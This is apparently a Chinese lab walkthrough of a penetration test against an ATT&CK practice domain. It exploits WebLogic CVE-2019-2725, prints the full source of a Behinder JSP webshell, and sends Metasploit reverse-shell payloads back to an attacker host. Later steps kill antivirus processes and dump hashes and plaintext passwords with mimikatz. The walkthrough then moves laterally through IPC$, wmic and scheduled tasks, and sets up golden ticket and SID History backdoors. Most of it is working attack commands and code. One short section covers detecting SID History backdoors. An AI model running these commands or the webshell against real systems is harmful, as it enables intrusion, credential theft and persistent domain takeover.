ATT&CK(二)

环境搭建

image-20220621212604899

DC**:**

IP:10.10.10.10

OS:Windows 2012

应用:AD域

WEB(初始的状态默认密码无法登录,切换用户 de1ay/1qaz@WSX 登录进去):

IP1:10.10.10.80

IP2:192.168.111.80

OS:Windows 2008

应用:Weblogic 10.3.6 MSSQL 2008

PC

IP1:10.10.10.201

IP2:192.168.111.201

OS:Windows 7

先从WEB机开始,注意需要手动开启服务,在 C:\Oracle\Middleware\user_projects\domains\base_domain\bin 下有一个 startWeblogic 的批处理,管理员身份运行它即可,管理员账号密码:Administrator/1qaz@WSXimage-20220621200408282

WEB机和PC机:计算机右键->管理->配置->服务->Server、Workstation、Computer Browser 全部启动(Computer Browser 一直自动关闭导致 net view 显示 6118 error 没能解决,在域信息收集时暂时关闭一下防火墙)

信息搜集

拿到环境后,首先进行端口探测

nmap -sP 192.169.111.2/24

用于扫描 192.169.111.2/24 这个网段中的所有主机,检查它们是否在线。/24 表示子网掩码为 255.255.255.0,也就是说,这个网段有 256 个 IP 地址,从 192.169.111.0 到 192.169.111.255。image-20230511160156708

nmap -sS -sV -A -T4 -p- 192.168.111.80

扫描 192.168.111.8 这个 IP 地址的所有端口

-sS 表示使用 TCP SYN 扫描,这是一种快速且隐蔽的扫描方式。
-sV 表示进行服务版本探测,这可以获取目标主机上运行的服务的名称和版本。
-A 表示进行操作系统探测和脚本扫描,这可以获取目标主机的操作系统类型和其他有用的信息。
-T4 表示使用较快的扫描速度,这可以加快扫描过程,但也可能导致一些结果丢失或不准确。
-p- 表示扫描所有端口,从 1 到 65535。

image-20230511160652720

  • 445端口开放可能存在smb服务可能还会有ms17-010 端口溢出漏洞

  • 139端口开放就存在有samba服务可能会有远程命令执行漏洞

  • 1433端口开放就存在mssql服务有可能存在爆破 注入 sa弱口令

  • 3389远程桌面服务

  • 7001端口 weblogic服务

外网渗透

用 WeblogicScan 扫描一下可能存在的漏洞

1
python WeblogicScan.py -u 192.168.111.80 -p 7001

image-20230511163914796

确定漏洞存在

访问http://192.168.111.80:7001/uddiexplorer/SearchPublicRegistries.jsp

image-20230511173729576

师傅总结的五种状态

状态一

img

状态二

img

状态三

img

状态四

img

状态五

img

利用CVE-2019-2725写shell

工具地址

https://www.aliyundrive.com/s/FqGpaqvHcGt

注意要java8运行

1
"C:\Program Files\Java\jre1.8.0_101\bin\java.exe" -jar E:\anquan\shentou\CVE\java.jar

可以先获取信息

img

上传冰蝎马,关于选择 webshell 上传路径问题,参考 https://www.cnblogs.com/sstfy/p/10350915.html

把shell写到images目录中

1
2
C:\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\wan.jsp

冰蝎shell

1
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

还是用自己本地冰蝎版本的shell才行 默认链接密码是rebeyond

image-20230512220454414

上传木马文件,尝试连接CSimage-20230512222905343

Administrator/1qaz@WSX

正常来说上传之后,运行

1
cd C:\Windows & system32.exe

就能上线,但是web虚拟机程序不完整没连上

上线msf

1
2
3
4
5
6
7
8
msfconsole	
search CVE-2019-2725
use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
set target Windows
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.111.128
set rhosts 192.168.111.80
exploit
1
2
3
4
5
6
7
8
msfconsole	//启动msf
search CVE-2019-2725
use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
set target Windows //默认为linux,这里改为windows
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.111.128 //攻击机
set rhosts 192.168.111.80 //被攻击
exploit

这里攻击机需要能够访问到被攻击机

刚开始用的服务器,访问不到,一直没成功

image-20230512235746511

msf派生cs

1
2
3
4
5
6
7
8
background  
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost 192.168.111.128
set lport 5570
set session 1
run
1
2
3
4
5
6
7
8
background  //将当前会话放到后台
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true //#默认情况下,payload_inject执行之后会在本地产生一个新的handler,由于我们已经有了一个,所以不需要在产生一个,所以这里我们设置为true
set lhost 120.55.103.132 //cs监听器设置的ip
set lport 5570 //cs监听器设置的端口
set session 3 #设置要联动的会话
run #运行也可以用exploit

image-20230513003910356

上线后sleep 0 关闭防火墙以及,windows defender

image-20230513163653402

shell tasklist 查看杀软

image-20230513000552038之前发现有360,杀一下进程

1
2
3
4
ps | grep 360
kill 1608
第一次杀完又出来一个 但是用户换了,不知道是重启,还是每个用户都有
kill 3412

image-20230513001402547

提权

迁移到高权限进程

1
2
ps -ef | grep svchost.exe
migrate 616

image-20230513001139337

使用svc-exe进行提权

,上线SYSTEM1

image-20230513004701893

令牌窃取提权

1
2
3
4
5
load incognito                 加载incognito(伪装)
getuid 查看当前token
list_tokens -u 列出可用token,顺便查看一下域
impersonate_token "NT AUTHORITY\\SYSTEM" token窃取,格式为impersonate_token"主机名\\用户名"
rev2self 返回之前的token

image-20230513005018916

信息搜集

域环境

1
2
3
4
5
6
7
查看域名 net config workstation
查看有几个域 net view /domain
查看域内主机 net view
查询域内用户 net user /domain #该命令在本环境中需要在system权限下执行
查看域管理员 net group "domain admins" /domain
查看域控 net group "domain controllers" /domain
查看域内用户的详细信息 wmic useraccount get /all
1
shell ipconfig/all

发现机器有双网卡,内网 10.10.10.1/24 网段,域控 ip 10.10.10.10(域控一般是本机的DNS服务器或者shell net group "domain controllers" /domain查看域控制器)

image-20230513143305649

net view

image-20230513164149469

1
2
Ladon 10.10.10.0/24 OnlinePC  # 多协议探测存活主机(IP、机器名、MAC地址、制造商)
Ladon 10.10.10.0/24 OsScan #多协议识别操作系统 (IP、机器名、操作系统版本、开放服务)

使用ladon插件

image-20230513171721687

凭据获取

image-20230513172425135

抓取Hash

hashdump

image-20230513172549648

抓取明文凭证(密码)

这里用到了mimikatz****

可以看到已经获取的密码凭证,可以在后面用于psexec横向渗透image-20230513172844634

横向渗透

横向渗透概念:
横向渗透攻击技术是复杂网络攻击中广泛使用的一种技术,特别是在高级持续威胁(Advanced Persistent Threats,APT)中更加热衷于使用这种攻击方法。攻击者可以利用这些技术,以被攻陷的系统为跳板,访问其他主机,获取包括邮箱、共享文件夹或者凭证信息在内的敏感资源。攻击者可以利用这些敏感信息,进一步控制其他系统、提升权限或窃取更多有价值的凭证。借助此类攻击,攻击者最终可能获取域控的访问权限,完全控制基于Windows系统的基础设施或与业务相关的关键账户。
在提权后,我们可以用mimikatz dump目标机的凭证,并进行内网横向移动

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。

SMB横向

psexec横向移动
哈希传递

psexec 是微软 pstools 工具包中最常用的一个工具,也是在内网渗透中的免杀渗透利器。psexec 能够在命令行下在对方没有开启 telnet 服务的时候返回一个半交互的命令行,像 telnet 客户端一样。原理是基于IPC共享,所以要目标打开 445 端口。另外在启动这个 psexec 建立连接之后对方机器上会被安装一个服务。
需探测域控机器是否开放445端口

先创建一个SMB监听器

image-20230513165136801

image-20230513165401707

域控上线

image-20230513173151108

伪造凭据

首先移除令牌

1
rev2self

img

通过之前获得的DC 管理的token生成新的凭证

img

接下来就SMB横向了

img

img

img

域控上线

image-20230513223159018

IPC$
MSF

IPC$入侵,即通过使用Windows系统默认启动的IPC$共享获得计算机控制权的入侵

搜先改一下vim /etc/proxychain4

image-20230513215304404

添加路由

1
2
run post/multi/manage/autoroute    
run autoroute -p
image-20230513215613038

生成木马,设置listener为刚才设置的

1
msfvenom -p windows/meterpreter_reverse_tcp lhost=10.10.10.80 lport=9999 -f exe > /tmp/p.exe

meterpreter进行监听

1
2
3
4
5
6
7
use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 10.10.10.80

set lport 9999

ipc连接

1
2
shell net use \\10.10.10.10\ipc$ "1qaz@WSX" /user:Administrator
与域控主机10.10.10.10简历ipc连接Administrator,1qaz@WSX

image-20230513195240156

1
shell copy C:\Users\de1ay.DE1AY\Desktop\p.exe \\10.10.10.10\c$\windows\temp\p.exe

要先将payload.exe上传到C:\Users\de1ay\Desktop\目录,成功将木马传输到域控主机

image-20230513195321348

在跳板机上通过wmic命令执行木马

1
shell wmic /node:10.10.10.10 /user:de1ay /password:1qaz@WSX process call create "C:\Windows\Temp\p.exe"

域控上线

image-20230513220236624

CS

点击监听器设置 lport ,lhost

img

image-20230513200044489

msfvenom -p windows/meterpreter_reverse_tcp lhost=10.10.10.80 lport=9998 -f exe > /tmp/p.exe

shell net use \10.10.10.10\ipc$ “1qaz@WSX” /user:Administrator

shell copy C:\Users\de1ay.DE1AY\Desktop\a.exe \10.10.10.10\c$\windows\temp\a.exe

shell wmic /node:10.10.10.10 /user:de1ay /password:1qaz@WSX process call create “C:\Windows\Temp\a.exe”

这个路由不知道怎么弄没成功

后渗透权限维持

域控信息收集

在域控获得KRBTGT账户NTLM密码哈希和SID

抓取NTLM密码哈希

image-20230513230724719

抓取SID

  • tip1

    1
    wmic useraccount get name,sid

image-20230513225924055

  • tip2

    1
    logonpasswords

    域名

    image-20230513230932837

黄金票据利用

黄金票据是伪造票据授予票据(TGT),也被称为认证票据。TGT仅用于向域控制器上的密钥分配中心(KDC)证明用户已被其他域控制器认证。

1
2
3
4
5
6
7
8
9
10
黄金票据的条件要求:

1.域名称

2.域的SID值(并不一定要krbtgt的SID)

3.域的KRBTGT账户NTLM密码哈希

4.伪造用户名

黄金票据可以在拥有普通域用户权限和KRBTGT账号的哈希的情况下用来获取域管理员权限,上面已经获得域控的 system 权限了,还可以使用黄金票据做权限维持,当域控权限掉后,在通过域内其他任意机器伪造票据重新获取最高权限。

image-20230513231004468

成功访问C盘image-20230513231705817

没有权限则会显示

image-20230513231723189

SID History域后门

原文链接:https://blog.51cto.com/bypass/6097702

SID History可以防止用户迁移进入不同的域后权限发生改变,原理是如果迁移后用户SID改变了系统会将其原来的SID添加到迁移以后的用户SID History属性中,使其依然可以访问原来的资源,可以使用mimikatz把SID History属性添加到任意用户SID History属性,这样在获取域管理员权限后可以实现持久化

域控制器上新建一个恶意用户test

1
net user test Admin124578 /add

使用域管理员权限的 Poweshell 查看 tester 用户的 SID History 属性

1
2
Import-Module ActiveDirectory
Get-ADUser test -Properties sidhistory

域内权限维持:SID History后门_数据库

使用域管理员权限运行mimikatz,将administrator的SID添加到普通用户test的SID History属性中。

1
2
3
privilege::debug	//提升权限
sid::patch //修复NTDS服务,可以使高权限SID注入到地权限用户的SID History属性
sid::add /sam:whoami /new:Administrator //将Administrator的SID添加到whoami的SID History属性中

域内权限维持:SID History后门_数据库_02

重新查看test用户的SID History属性

域内权限维持:SID History后门_用户登录_03

使用 test 用户登录域控服务器,可以看到已经拥有了管理员权限。

域内权限维持:SID History后门_用户登录_04

检测方法

检测SID History后门的最佳方式就是枚举所有具体SID History属性的用户数据,找到用户的SIDHistory属性中的SID以“500”结尾的账号。

1
Get-ADUser -Filter "SIDHistory -like '*'" -Properties SIDHistory| ` Where { $_.SIDHistory -Like "*-500" }

域内权限维持:SID History后门_管理员权限_05

每次更改用户对象时,都会生成4738的事件,监控SidHistory属性更改情况。另外,在windows日志里,没有找到4765和4766这两个事件,这里做个备注。(4765代表将 SID Histtory属性添加到用户的日志。4766代表将SID History属性添加到用户失败的日志。)

域内权限维持:SID History后门_管理员权限_06

上线PC

发现DC域还有一个mssql机器

image-20230513235936720

web给pc创建一个映射

1
shell net use X: \\pc\c$

image-20230514001129921

显示有一个X

image-20230514001147375

手贱把进程给关了,又不知道是什么玄学错误连不上了,直接搬WP

然后传MSF木马:

BASH

1
2
3
4
meterpreter > upload /home/kali/msf.exe X://msf.exe
[*] uploading : /home/kali/msf.exe -> X://msf.exe
[*] Uploaded 7.00 KiB of 7.00 KiB (100.0%): /home/kali/msf.exe -> X://msf.exe
[*] uploaded : /home/kali/msf.exe -> X://msf.exe

接下来就是怎么去执行木马的问题了。

而且这样传不会弹360 -,-

先试了一下创建一个服务:

BASH

1
2
3
4
5
C:\Oracle\Middleware\user_projects\domains\base_domain>sc \\10.10.10.201 create bdtttttt binpath="C:\\msf.exe"
sc \\10.10.10.201 create bdtttttt binpath="C:\\msf.exe"
[SC] OpenSCManager FAILED 5:

Access is denied.

没有办法成功。

建立IPC连接:

BASH

1
2
3
C:\Oracle\Middleware\user_projects\domains\base_domain>net use \\pc\ipc$
net use \\pc\ipc$
The command completed successfully.

居然成功了,定时任务执行:

BASH

1
2
3
C:\Oracle\Middleware\user_projects\domains\base_domain>at \\pc 15:23:00 cmd.exe /c "start C:\\msf.exe"
at \\pc 15:23:00 cmd.exe /c "start C:\\msf.exe"
Added a new job with job ID = 1

image

image

拿下。****

白银票据

1
2
3
4
5
6
7
8
9
10
11
12
13
所需条件:

1、域名称

2、域的SID值(用户的sid值去掉最后一个杠的数字就是域sid值)

3、服务账号的NTML HASH

4、伪造的用户名

5、可利用的服务

白银票据由TGS加密通常只有几分钟生效时间

获取明文密码

image-20230514002956544

image-20230514003109415

image-20230514003133911

image-20230514003040323